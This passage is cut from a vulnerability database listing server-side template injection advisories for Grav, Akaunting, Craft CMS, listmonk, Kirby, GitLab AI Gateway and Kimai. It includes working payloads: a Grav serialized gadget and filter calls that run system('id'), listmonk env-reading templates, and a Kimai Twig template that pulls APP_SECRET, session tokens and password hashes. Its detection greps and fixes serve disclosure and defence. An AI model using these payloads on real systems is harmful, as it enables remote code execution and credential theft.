system(\u0027id\u0027) call\n   // Serialized payloaed generated using the phpggc tool: ./phpggc -b Monolog/RCE7 system \u0027id\u0027\n   // {{ \u0027TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aTowO319czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czozOiJwb3MiO2k6MTtzOjY6InN5c3RlbSI7fX0=\u0027 | base64_decode | array | filter(\u0027unserialize\u0027) }}\n   \n   // Method 2: Trigger system(\u0027id\u0027) via case-insensitive function names\n   {{ [\u0027id\u0027] | filter(\u0027System\u0027) }}\n   \n   // Method 3: Trigger system(\u0027id\u0027) via fully qualified names when referencing functions\n   {{ [\u0027id\u0027] | filter(\u0027\\\\system\u0027) }}\n   ~~~   \n7. Click the Preview button. Observe that the output of the `id` shell command is returned in the preview.\n\n## Suggested Mitigations:  \nIt is recommended to review the list of functions, both default functions in PHP and user-defined functions, and include missing unsafe functions in the denylist. A non-exhaustive list of missing unsafe functions discovered is shown below:\n- `unserialize()`\n- `ini_alter()`\n- `simplexml_load_file()`\n- `simplexml_load_string()`\n- `forward_static_call()`\n- `forward_static_call_array()`\n\nThe `Utils::isDangerousFunction()` function in [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1956-L2074) should also be patched to disallow usage of fully qualified names when specifying callables, as well as ensure that validation performed on the `$name` parameter is case-insensitive.\n\nFor example,\n~~~diff php\n...\nabstract class Utils\n{\n    ...\n    /**\n     * @param string $name\n     * @return bool\n     */\n    public static function isDangerousFunction(string $name): bool\n    {\n        ...\n+       if ($arrow instanceof Closure) {\n+           return false;\n+       }\n\n+       $name = strtolower($name);\n+       if (strpos($name, \"\\\\\") !== false) {\n+           return false;\n+       }\n\n        if (in_array($name, $commandExecutionFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $codeExecutionFunctions)) {\n            return true;\n        }\n\n        if (isset($callbackFunctions[$name])) {\n            return true;\n        }\n\n        if (in_array($name, $informationDiscosureFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $otherFunctions)) {\n            return true;\n        }\n\n        return static::isFilesystemFunction($name);\n    }\n    ...\n}\n~~~\n\nEnd users should also ensure that `twig.undefined_functions` and `twig.undefined_filters` properties in `/path/to/webroot/system/config/system.yaml` configuration file are set to `false` to disallow Twig from treating undefined filters/functions as PHP functions and executing them.\n\n## Detection Guidance:  \nThe following strategies may be used to detect potential exploitation attempts.\n1. Searching within Markdown pages using the following shell command:  \n   `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(\u0027 /path/to/webroot/user/pages/`\n2. Searching within Doctrine cache data using the following shell command:  \n   `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(\u0027 --include \u0027*.doctrinecache.data\u0027 /path/to/webroot/cache/`\n3. Searching within Twig cache using the following shell command: \n   `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|twig_array_(filter|map|reduce))\\s*\\(\u0027 /path/to/webroot/cache/twig/`\n4. Searching within compiled Twig template files using the following shell command:  \n   `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(\u0027 /path/to/webroot/cache/compiled/files/`\n\nNote that it is not possible to detect indicators of compromise reliably using the Grav log file (located at `/path/to/webroot/logs/grav.log` by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.\n\n## Credits:  \nNgo Wei Lin ([@Creastery](https://twitter.com/Creastery)) \u0026 Wang Hengyue ([@w_hy_04](https://twitter.com/w_hy_04)) of STAR Labs SG Pte. Ltd. ([@starlabs_sg](https://twitter.com/starlabs_sg))\n\nThe scheduled disclosure date is _**25th July, 2023**_. Disclosure at an earlier date is also possible if agreed upon by all parties.  \n\nKindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:  \n1. **CVE-2023-30592**\n    Server-side Template Injection (SSTI) in getgrav/grav \u003c= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of unsafe functions, such as `unserialize()`, that are not blocked. This is a bypass of CVE-2022-2073.\n2. **CVE-2023-30593**\n    Server-side Template Injection (SSTI) in getgrav/grav \u003c= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of capitalised names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.\n3. **CVE-2023-30594**\n    Server-side Template Injection (SSTI) in getgrav/grav \u003c= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of fully-qualified names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.",
  "id": "GHSA-j3v8-v77f-fvgm",
  "modified": "2023-06-16T19:36:52Z",
  "published": "2023-06-16T19:36:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-j3v8-v77f-fvgm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34253"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/71bbed12f950de8335006d7f91112263d8504f1b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/8c2c1cb72611a399f13423fc6d0e1d998c03e5c8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/9d01140a63c77075ef09b26ef57cf186138151a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1952-L2190"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/3ef640e6-9e25-4ecb-8ec1-64311d63fe66"
    },
    {
      "type": "WEB",
      "url": "https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability"
}

GHSA-J57Q-FF7H-J5XJ

Vulnerability from github – Published: 2025-12-12 00:30 – Updated: 2025-12-12 00:30
VLAI
Details

Akaunting 3.1.8 contains a server-side template injection vulnerability that allows authenticated administrators to execute template expressions in multiple form input fields. Attackers can inject template payloads in items, taxes, transactions, and vendor name fields to perform arithmetic operations and string manipulations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-58293"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-11T22:15:50Z",
    "severity": "HIGH"
  },
  "details": "Akaunting 3.1.8 contains a server-side template injection vulnerability that allows authenticated administrators to execute template expressions in multiple form input fields. Attackers can inject template payloads in items, taxes, transactions, and vendor name fields to perform arithmetic operations and string manipulations.",
  "id": "GHSA-j57q-ff7h-j5xj",
  "modified": "2025-12-12T00:30:20Z",
  "published": "2025-12-12T00:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58293"
    },
    {
      "type": "WEB",
      "url": "https://akaunting.com/forum"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/52030"
    },
    {
      "type": "WEB",
      "url": "https://www.softaculous.com/apps/erp/Akaunting"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/akaunting-server-side-template-injection-via-multiple-form-fields"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J7FX-V37J-V3W7

Vulnerability from github – Published: 2022-05-13 01:51 – Updated: 2024-04-25 22:32
VLAI
Summary
Craft CMS Vulnerable to Server-Side Template Injection
Details

Craft CMS through 3.0.34 allows remote authenticated administrators to read sensitive information via server-side template injection, as demonstrated by a {% string for craft.app.config.DB.user and craft.app.config.DB.password in the URI Format of the Site Settings, which causes a cleartext username and password to be displayed in a URI field.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-20465"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-311"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-25T22:32:04Z",
    "nvd_published_at": "2018-12-25T23:29:00Z",
    "severity": "HIGH"
  },
  "details": "Craft CMS through 3.0.34 allows remote authenticated administrators to read sensitive information via server-side template injection, as demonstrated by a `{%` string for `craft.app.config.DB.user` and `craft.app.config.DB.password` in the URI Format of the Site Settings, which causes a cleartext username and password to be displayed in a URI field.",
  "id": "GHSA-j7fx-v37j-v3w7",
  "modified": "2024-04-25T22:32:04Z",
  "published": "2022-05-13T01:51:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20465"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phuctam/Server-Side-Template-Injection-in-CraftCMS-/issues/1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/blob/master/CHANGELOG-v3.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Craft CMS Vulnerable to Server-Side Template Injection"
}

GHSA-JC7G-X28F-3V3H

Vulnerability from github – Published: 2025-06-09 13:09 – Updated: 2025-06-10 19:59
VLAI
Summary
listmonk's Sprig template Injection vulnerability leads to reading of Environment Variable for low privilege user
Details

Summary

The env and expandenv template functions which is enabled by default in Sprig enables capturing of env variables on the host. While this may not be a problem on single-user (super admin) installations, on multi-user installations, this allows non-super-admin users with campaign or template permissions to use the {{ env }} template expression to capture sensitive environment variables.

Upgrade to v5.0.2 to mitigate.


Demonstration

Description

A critical template injection vulnerability exists in Listmonk's campaign preview functionality that allows authenticated users with minimal privileges (campaigns:get & campaigns:get_all) to extract sensitive system data, including database credentials, SMTP passwords, and admin credentials due to some dangerous function being allowed.

Proof of Concept

  • Create a user and give him campaigns:get and campaigns:get_all privileges

image

  • Now login with that user, go to any campaign, go the Content section and here lies the vulnerability, we're able to execute template content which allows us to get environment variables, execute Sprig functions...

  • Now in the text field you can input the following and press Preview: ``` {{ env "AWS_KEY" }} {{ env "LISTMONK_db__user" }} {{ env "LISTMONK_db__password" }} ````

image

Preview:

image

I had the AWS_KEY variable set like that to confirm the vulnerability:

image

Impact

  • Through these environment variables the attacker can access, they can fully compromise the database, cloud accounts, admin credentials, and more depending on what was setup leading to total system takeover and data breach.

Suggested Fix

  • Blacklist some function for templates like env, expandEnv and fail as they can be used to leak environment variables which leads to a full takeover.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/knadh/listmonk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-49136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-09T13:09:24Z",
    "nvd_published_at": "2025-06-09T17:15:29Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe `env` and `expandenv` template functions which is enabled by default in [Sprig](https://masterminds.github.io/sprig/) enables capturing of env variables on the host. While this may not be a problem on single-user (super admin) installations, on multi-user installations, this allows non-super-admin users with campaign or template permissions to use the `{{ env }}` template expression to capture sensitive environment variables.\n\n**Upgrade to [v5.0.2](https://github.com/knadh/listmonk/releases/tag/v5.0.2)** to mitigate.\n\n---------\n\n# Demonstration\n\n### Description\nA critical template injection vulnerability exists in Listmonk\u0027s campaign preview functionality that allows authenticated users with minimal privileges (campaigns:get \u0026 campaigns:get_all) to extract sensitive system data, including database credentials, SMTP passwords, and admin credentials due to some dangerous function being allowed.\n\n### Proof of Concept\n\n- Create a user and give him `campaigns:get` and `campaigns:get_all` privileges\n\n![image](https://github.com/user-attachments/assets/05333695-14d9-498e-9f73-2137d6eca55b)\n\n- Now login with that user, go to any campaign, go the Content section and here lies the vulnerability, we\u0027re able to execute template content which allows us to get environment variables, execute Sprig functions...\n\n- Now in the text field you can input the following and press Preview:\n```\n{{ env \"AWS_KEY\" }}\n{{ env \"LISTMONK_db__user\" }}\n{{ env \"LISTMONK_db__password\" }}\n````\n\n![image](https://github.com/user-attachments/assets/ac963f54-5982-47d4-99d0-59030917f548)\n\n# Preview:\n\n![image](https://github.com/user-attachments/assets/99558ca4-81c6-4e1a-bd0d-6bc57830f4d0)\n\nI had the AWS_KEY variable set like that to confirm the vulnerability:\n\n![image](https://github.com/user-attachments/assets/16382998-2402-436a-9bb0-db09fb13dd79)\n\n### Impact\n\n- Through these environment variables the attacker can access, they can fully compromise the database, cloud accounts, admin credentials, and more depending on what was setup leading to total system takeover and data breach.\n\n### Suggested Fix\n\n- Blacklist some function for templates like env, expandEnv and fail as they can be used to leak environment variables which leads to a full takeover.",
  "id": "GHSA-jc7g-x28f-3v3h",
  "modified": "2025-06-10T19:59:04Z",
  "published": "2025-06-09T13:09:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-jc7g-x28f-3v3h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49136"
    },
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/commit/d27d2c32cf3af2d0b24e29ea5a686ba149b49b3e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/knadh/listmonk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/releases/tag/v5.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "listmonk\u0027s Sprig template Injection vulnerability leads to reading of Environment Variable for low privilege user"
}

GHSA-JCJW-58RV-C452

Vulnerability from github – Published: 2026-04-23 21:24 – Updated: 2026-05-05 15:43
VLAI
Summary
Kirby has Server-Side Template Injection (SSTI) via double template resolution in option rendering
Details

TL;DR

This vulnerability affects all Kirby sites that use option fields (checkboxes, color, multiselect, select, radio, tags or toggles) with options from a query or API whose values may not be fully trusted. It also affects direct uses of the OptionsApi or OptionsQuery classes of Kirby's Options package from plugin or site code. The attack requires either an attacker in the group of authenticated Panel users or user interaction of another authenticated user.

This vulnerability is of high severity for affected sites.

Users' Kirby sites are not affected if they are not using any of the mentioned fields or the Options package, if all options are defined statically in the blueprints or if all dynamically gathered options are to be trusted.


Introduction

Server-Side Template Injection vulnerabilities (SSTI) occur when user input is embedded in a template in an unsafe manner and results in remote code execution on the server.

Injected user input is wrongly treated as a template command instead of as a literal string of text. This allows attackers to query arbitrary information from the affected system or call arbitrary methods to perform actions.

In a Kirby site this can be used to access protected site information, alter site content or break site behavior.

Impact

Kirby provides field types (checkboxes, color, multiselect, select, radio, tags and toggles) that offer a fixed set of options from a configured list. This configured list can be statically defined in the blueprint or it can come from a Kirby query or (external) API source. Options coming from a query or API are treated as dynamic.

Static options can contain queries in the form {{ query }} or {< query >} that are then evaluated to a static value. Because the queries are defined in the blueprint, they can be trusted and cannot be controlled by attackers.

However, dynamic options can often not be trusted. This is why the "options from query" and "options from API" modes are intended to resolve the option values and text strings based on queries not defined within the data source but within the blueprint.

Unfortunately, the results of these trusted queries on untrusted source data are run through the query parser a second time in affected Kirby releases.

Because of the double-resolution of dynamic option values and text strings, attackers could place malicious query templates such as {{ users.first.password }} or {{ page.delete }} in the option sources such as page titles or external API data controlled by the attacker. These queries would then be executed when the field is loaded in the Panel. When the attacker directly accesses the respective Panel view, they could get access to information normally hidden from them. As the malicious query templates are loaded for all users, it could also lead to malicious write access when another user with a higher permission level accesses the manipulated Panel view.

Patches

The problem has been patched in Kirby 4.9.0 and Kirby 5.4.0. Please update to one of these or a later version to fix the vulnerability.

In all of the mentioned releases, Kirby has updated the Options logic to no longer double-resolve queries in option values coming from OptionsQuery or OptionsApi sources. Kirby now only resolves queries that are directly configured in the blueprints.

Credits

Kirby thanks to @offset for responsibly reporting the identified issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-23T21:24:00Z",
    "nvd_published_at": "2026-04-24T01:16:12Z",
    "severity": "HIGH"
  },
  "details": "### TL;DR\n\nThis vulnerability affects all Kirby sites that use option fields (`checkboxes`, `color`, `multiselect`, `select`, `radio`, `tags` or `toggles`) with options from a query or API whose values may not be fully trusted. It also affects direct uses of the `OptionsApi` or `OptionsQuery` classes of Kirby\u0027s `Options` package from plugin or site code. The attack requires either an attacker in the group of authenticated Panel users or user interaction of another authenticated user.\n\n**This vulnerability is of high severity for affected sites.**\n\nUsers\u0027 Kirby sites are *not* affected if they are not using any of the mentioned fields or the `Options` package, if all options are defined statically in the blueprints or if all dynamically gathered options are to be trusted.\n\n----\n\n### Introduction\n\nServer-Side Template Injection vulnerabilities (SSTI) occur when user input is embedded in a template in an unsafe manner and results in remote code execution on the server.\n\nInjected user input is wrongly treated as a template command instead of as a literal string of text. This allows attackers to query arbitrary information from the affected system or call arbitrary methods to perform actions.\n\nIn a Kirby site this can be used to access protected site information, alter site content or break site behavior.\n\n### Impact\n\nKirby provides field types (`checkboxes`, `color`, `multiselect`, `select`, `radio`, `tags` and `toggles`) that offer a fixed set of options from a configured list. This configured list can be statically defined in the blueprint or it can come from a Kirby query or (external) API source. Options coming from a query or API are treated as dynamic.\n\nStatic options can contain queries in the form `{{ query }}` or `{\u003c query \u003e}` that are then evaluated to a static value. Because the queries are defined in the blueprint, they can be trusted and cannot be controlled by attackers.\n\nHowever, dynamic options can often not be trusted. This is why the \"options from query\" and \"options from API\" modes are intended to resolve the option values and text strings based on queries not defined within the data source but within the blueprint.\n\nUnfortunately, the results of these trusted queries on untrusted source data are run through the query parser a second time in affected Kirby releases.\n\nBecause of the double-resolution of dynamic option values and text strings, attackers could place malicious query templates such as `{{ users.first.password }}` or `{{ page.delete }}` in the option sources such as page titles or external API data controlled by the attacker. These queries would then be executed when the field is loaded in the Panel. When the attacker directly accesses the respective Panel view, they could get access to information normally hidden from them. As the malicious query templates are loaded for all users, it could also lead to malicious write access when another user with a higher permission level accesses the manipulated Panel view.\n\n### Patches\n\nThe problem has been patched in [Kirby 4.9.0](https://github.com/getkirby/kirby/releases/tag/4.9.0) and [Kirby 5.4.0](https://github.com/getkirby/kirby/releases/tag/5.4.0). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.\n\nIn all of the mentioned releases, Kirby has updated the `Options` logic to no longer double-resolve queries in option values coming from `OptionsQuery` or `OptionsApi` sources. Kirby now only resolves queries that are directly configured in the blueprints.\n\n### Credits\n\nKirby thanks to @offset for responsibly reporting the identified issue.",
  "id": "GHSA-jcjw-58rv-c452",
  "modified": "2026-05-05T15:43:54Z",
  "published": "2026-04-23T21:24:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/security/advisories/GHSA-jcjw-58rv-c452"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34587"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkirby/kirby"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/4.9.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/5.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kirby has Server-Side Template Injection (SSTI) via double template resolution in option rendering"
}

GHSA-JFR3-CR47-9VQQ

Vulnerability from github – Published: 2026-02-09 09:30 – Updated: 2026-02-09 09:30
VLAI
Details

GitLab has remediated a vulnerability in the Duo Workflow Service component of GitLab AI Gateway affecting all versions of the AI Gateway from 18.1.6, 18.2.6, 18.3.1 to 18.6.1, 18.7.0, and 18.8.0 in which AI Gateway was vulnerable to insecure template expansion of user supplied data via crafted Duo Agent Platform Flow definitions. This vulnerability could be used to cause Denial of Service or gain code execution on the Gateway. This has been fixed in versions 18.6.2, 18.7.1, and 18.8.1 of the GitLab AI Gateway.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-09T07:16:18Z",
    "severity": "CRITICAL"
  },
  "details": "GitLab has remediated a vulnerability in the Duo Workflow Service component of GitLab AI Gateway affecting all versions of the AI Gateway from 18.1.6, 18.2.6, 18.3.1 to 18.6.1, 18.7.0, and 18.8.0 in which AI Gateway was vulnerable to insecure template expansion of user supplied data via crafted Duo Agent Platform Flow definitions. This vulnerability could be used to cause Denial of Service or gain code execution on the Gateway. This has been fixed in versions 18.6.2, 18.7.1, and 18.8.1 of the GitLab AI Gateway.",
  "id": "GHSA-jfr3-cr47-9vqq",
  "modified": "2026-02-09T09:30:21Z",
  "published": "2026-02-09T09:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1868"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2026/02/06/patch-release-gitlab-ai-gateway-18-8-1-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/work_items/1850"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JG2J-2W24-54CG

Vulnerability from github – Published: 2026-01-20 17:07 – Updated: 2026-01-20 17:07
VLAI
Summary
Kimai has an Authenticated Server-Side Template Injection (SSTI)
Details

Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)

Vulnerability Summary

Field Value
Title Authenticated SSTI via Permissive Export Template Sandbox
Attack Complexity Low
Privileges Required High (Admin with export permissions and server access)
User Interaction None
Impact Confidentiality: HIGH (Credential/Secret Extraction)
Affected Versions Kimai 2.45.0 (likely earlier versions)
Tested On Docker: kimai/kimai2:apache-2.45.0
Discovery Date 2026-01-05

Why Scope is "Changed": The extracted APP_SECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.


Vulnerability Description

Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:

  1. Environment Variables (APP_SECRET, DATABASE_URL)
  2. All User Password Hashes (bcrypt)
  3. Serialized Session Tokens
  4. CSRF Tokens

Prerequisites

  1. Authenticated Access: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)
  2. Template Deployment: Ability to place a malicious .pdf.twig template in /opt/kimai/var/export/ via:
  3. Filesystem access (server admin)

Test Environment

Users in Test Instance

The test environment contains 2 users whose password hashes were successfully extracted:

Kimai Users Page - screenshot_users.png: screenshot_users

User Role Hash Extracted
admin ROLE_SUPER_ADMIN ✅ Yes
lowpriv ROLE_USER ✅ Yes

Confirmed Exploitation Evidence

Test Date: 2026-01-05

Extracted Data (Actual Output from Exploit)

===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{
  i:0;N;i:1;s:12:"secured_area";i:2;a:5:{
    i:0;O:15:"App\Entity\User":5:{
      s:2:"id";i:1;
      s:8:"username";s:5:"admin";
      s:7:"enabled";b:1;
      s:5:"email";s:17:"admin@example.com";
      s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";
    }
    i:1;b:1;i:2;N;i:3;a:0:{}
    i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}
  }
}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

Root Cause Analysis

Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php

The export functionality uses ExportPolicy which includes DefaultPolicy:

$this->policy->addPolicy(new DefaultPolicy());

The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php

final class DefaultPolicy implements SecurityPolicyInterface
{
    public function checkSecurity($tags, $filters, $functions): void
    {
        // EMPTY - No restrictions on Twig tags/filters/functions
    }

    public function checkMethodAllowed($obj, $method): void
    {
        // EMPTY - Allows ANY method call on ANY object
    }

    public function checkPropertyAllowed($obj, $property): void
    {
        // EMPTY - Allows ANY property access on ANY object
    }
}

This allows templates to call methods like: - app.request.server.get("APP_SECRET") - Environment variable access - app.session.get("_security_secured_area") - Session data access - entry.user.password - Password hash access


Exploitation Steps

Step 1: Deploy Malicious Template

Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:

docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE"
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>SSTI Data Extraction</title>
    <style>
        body { font-family: monospace; font-size: 10px; }
        h1, h2 { color: #333; }
        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }
    </style>
</head>
<body>

<h1>===SSTI_EXTRACTION_START===</h1>

<h2>1. ENVIRONMENT VARIABLES</h2>
<pre>
APP_SECRET: {{ app.request.server.get("APP_SECRET") }}
DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }}
APP_ENV: {{ app.request.server.get("APP_ENV") }}
APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }}
</pre>

<h2>2. SESSION TOKEN (SERIALIZED)</h2>
<pre>
{{ app.session.get("_security_secured_area") }}
</pre>

<h2>3. CURRENT USER DETAILS</h2>
<pre>
{% set user = query.currentUser %}
username: {{ user.username }}
email: {{ user.email }}
